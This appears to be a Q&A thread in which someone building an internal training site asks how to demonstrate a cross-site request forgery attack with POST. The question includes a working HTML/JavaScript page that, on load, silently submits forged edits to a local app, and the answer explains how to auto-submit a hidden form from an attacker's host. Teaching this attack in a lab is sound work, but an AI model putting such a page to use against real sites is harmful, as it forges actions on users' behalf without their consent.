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I'm doing an introduction to the web security to some other people in our enterprise, and I want to show some example to have more impact.
For this I've created a small website which is vulnerable to this attack, this website will be accessible only on our network.
I'm now trying to exploit this attack, but I've one question:
How to do this with a POST form?
I've no problem doing this with a GET query, but with a POST, I'm trying to do this with javascript, no problem if I host my code on the same host, but if I want to host my code to another host to be more realistic, I get blocked because it's a cross-domain request.
So how should I send these POST vars?
Thank you!
Here is my current code:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>CSRF attack demo</title>
<script type="text/javascript">
function getHTTPObject() {
var http = false;
//Use IE's ActiveX items to load the file.
if(typeof ActiveXObject != 'undefined') {
try {http = new ActiveXObject("Msxml2.XMLHTTP");}
catch (e) {
try {http = new ActiveXObject("Microsoft.XMLHTTP");}
catch (E) {http = false;}
}
//If ActiveX is not available, use the XMLHttpRequest of Firefox/Mozilla etc. to load the document.
} else if (window.XMLHttpRequest) {
try {http = new XMLHttpRequest();}
catch (e) {http = false;}
}
return http;
}
function post_to_url(path, params, method) {
method = method || "post"; // Set method to post by default, if not specified.
// The rest of this code assumes you are not using a library.
// It can be made less wordy if you use one.
var form = document.createElement("form");
form.setAttribute("method", method);
form.setAttribute("action", path);
for(var key in params) {
var hiddenField = document.createElement("input");
hiddenField.setAttribute("type", "hidden");
hiddenField.setAttribute("name", key);
hiddenField.setAttribute("value", params[key]);
form.appendChild(hiddenField);
}
document.body.appendChild(form);
form.submit();
}
function postToUrlBackground(path, params){
var http = getHTTPObject();
http.open("POST", path, true);
//Send the proper header information along with the request
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.setRequestHeader("Content-length", params.length);
http.setRequestHeader("Connection", "close");
http.onreadystatechange = function() {//Call a function when the state changes.
if(http.readyState == 4 && http.status == 200) {
//alert("Response received");
}
}
http.send(params);
}
function TryAttack(){
//alert("Sending");
postToUrlBackground("http://localhost:51612/Movie/Edit/1", "Title=%28500%29This+item+has+been+changed+without+any+rights&Year=2009&OriginalTitle=%28500%29+DAYS+OF+SUMMERS&Duration=5700&IDMC=500+JOURS+ENSEMBLE");
//postToUrlBackground("http://localhost:51612/Movie/Edit/1","Title=%28500%29+JOURS+ENSEMBLE&Year=2009&OriginalTitle=%28500%29+DAYS+OF+SUMMERS&Duration=5700&IDMC=500+JOURS+ENSEMBLE" );
//alert("sent");
}
</script>
</head>
<body onload="TryAttack()">
<img src=image.png />
</body>
</html>
On the "other host" (the attacker) you just create a
FORMwith methodPOSTwhoseaction(i.e. where the form is submitted) is your vulnerable app. Then you submit it with javascript on that page.Like this:
This will submit a
POSTto your vulnerable app from the attacker's host, when you open that page.